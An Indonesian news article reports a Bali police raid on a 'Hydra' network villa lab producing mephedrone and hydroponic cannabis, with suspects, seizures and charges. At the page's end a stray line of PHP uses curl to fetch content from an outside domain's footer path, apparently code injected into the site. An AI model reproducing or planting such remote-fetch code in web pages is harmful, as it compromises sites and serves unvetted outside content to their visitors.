Hydra Manfaatkan Stiker Jalanan untuk Transaksi Narkoba

Senin, 13 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Kabareskrim Polri Komjen Pol Wahyu Widada. (Foto: Humas Polri)

Kabareskrim Polri Komjen Pol Wahyu Widada. (Foto: Humas Polri)

Jakarta l Jejakkasus.info – Kabareskrim Polri Komjen Pol Wahyu Widada mengatakan, bahwa Polri bersama Bea Cukai bongkar clandestine lab (Lab Narkoba) rahasia di Vila Sunny, Canggu, Kabupaten Badung, Bali.

“Tim berhasil menangkap 4 tersangka,” kata Wahyu, Senin (13/5/2024) di Jakarta.

Penindakan ini, kata Wahyu, sejalan dengan arahan Presiden Joko Widodo untuk memberantas Narkoba secara komprehensif dan terpadu.

“Kapolri Jenderal Listyo Sigit Prabowo juga menekankan kepada seluruh anggota Polri untuk terus berperang dan menuntaskan penanganan Narkoba dari hulu ke hilir,” kata Wahyu.

Polri, kata Wahyu, berhasil mengungkap clandestine laboratorium hidroponik ganja dan mephedrone jaringan Hydra Indonesia.

Serta melakukan penangkapan terhadap DPO clandestine laboratorium Narkoba ekstasi Sunter Bali

Baca Juga:  Kasatlantas Polres Cirebon Kota, Berbagi Nasi Kotak

Polri berhasil menangkap 4 tersangka dalam pengungkapan kasus ini.

2 merupakan tersangka WN Ukraina, 1 tersangka WN Rusia, dan satu orang WNI.

“Dua tersangka merupakan saudara kembar WN Ukraina bernama Ivan Volovod (IV) dan Mikhayla Volovod (MV). Sementara satu WN Rusia, yakni Konstantin Krutz atau KK, merupakan jaringan dari 2 tersangka WN Ukraina,” kata Wahyu.

Kabareskrim menyebut tersangka Ivan dan Mikhayla berperan sebagai pengendali clandestine lab di Villa Sunny, Badung, Bali.

Tersangka Konstantin Krutz sendiri ditangkap di Gianyar.

Para tersangka tersebut menjalankan bisnis gelap Narkoba di sebuah vila seluas sekitar 180 meter persegi.

Ketiganya menjalankan laboratorium pembuatan mephedrone dan ganja hidroponik di basement vila tersebut.

Baca Juga:  Satresnarkoba Polres Bojonegoro Bekuk 17 Tersangka Kasus Narkoba

Basement disulap menjadi lab yang memproduksi ganja hidroponik dan lab mephedrone.

Dari lokasi ini, tim menyita barang bukti diantaranya alat cetak ekstasi, 9,7 Kg Hydroponic ganja sebanyak 9,7, 437 gram mephedrone, ratusan kilogram berbagai jenis bahan kimia prekusor pembuatan narkoba jenis mephedrone dan ganja hidroponik, dan berbagai macam peralatan lab pembuatan mephedrone dan hydroponic ganja.

“Tim juga melakukan penangkapan terhadap pengedar jaringan Hydra atas nama KK,” kata Wahyu.

Dari tersangka KK, kata Wahyu, disita barang bukti, antara lain ganja sebanyak 283,19 gram, hashis sebanyak 484,92 gram, kokain sebanyak 107,95 gram, dan mephedrone sebanyak 247,33 gram.

Jaringan ini menempelkan stiker di sejumlah sudut jalan di kawasan Bali.

Baca Juga:  Wakil Walikota Gunungsitoli Sowa’a Laoli, SE, M.Si Dampingi Kunjungan Kapoldasu Di Gunungsitoli

Jaringan ‘Hydra’ sekaligus menjadi kode dari jaringan untuk bertransaksi Narkoba.

“Ini ditempelkan di mana saja, orang awam lewat-lewat saja nggak tahu, ternyata itu kode untuk membeli ini,” kata Wahyu.

Tersangka, kata Wahyu, dikenakan Pasal 114 Ayat (2) subsider Pasal 113 Ayat (2), Pasal 112 Ayat (2). Lebih subsider Pasal 129 Huruf A dan Pasal 111 Ayat (2) juncto Pasal 132 Ayat (1) Undang-Undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika.

“Ancaman hukuman minimal 5 tahun penjara dan maksimal hukuman mati serta denda minimal Rp 1.000.000.000 dan maksimal Rp 10.000.000.000,” kata Wahyu.

Laporan: Erdan Faizal

 

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

6 Tim Binsat Pasmar 2 Siap Berlaga Pada Lomba Binsat Korps Marinir 2024
Ops Patuh Seulawah 2024: Sat Lantas Polres Aceh Jaya Berikan Helm Gratis dan Edukasi Lalu Lintas
Polres Metro Depok gelar Operasi Patuh Jaya 2024
Bupati Nias Utara Sambut Hangat Kunjungan Kerja Kapolda Sumut
Cegah Gangguan Kamtibmas Blue Light Patrol Polsek Mengwi Sambangi Pasar Adat Desa Mengwi
Ditpolairud Polda Bali Siagakan Dua Kapal dan Tiga Helikopter Amankan KTT WWF
Sukseskan KTT WWF, Kapolsek Kediri didampingi Waka Polsek Sambangi Kurnia Seafood Bali
Tim Supervisi Bidpropam Polda Sulteng Kunjungi Polres Touna

Berita Terkait

Senin, 26 Agustus 2024 - 22:01 WIB

6 Tim Binsat Pasmar 2 Siap Berlaga Pada Lomba Binsat Korps Marinir 2024

Selasa, 16 Juli 2024 - 11:40 WIB

Ops Patuh Seulawah 2024: Sat Lantas Polres Aceh Jaya Berikan Helm Gratis dan Edukasi Lalu Lintas

Senin, 15 Juli 2024 - 23:58 WIB

Polres Metro Depok gelar Operasi Patuh Jaya 2024

Jumat, 14 Juni 2024 - 11:46 WIB

Bupati Nias Utara Sambut Hangat Kunjungan Kerja Kapolda Sumut

Rabu, 12 Juni 2024 - 13:58 WIB

Cegah Gangguan Kamtibmas Blue Light Patrol Polsek Mengwi Sambangi Pasar Adat Desa Mengwi

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>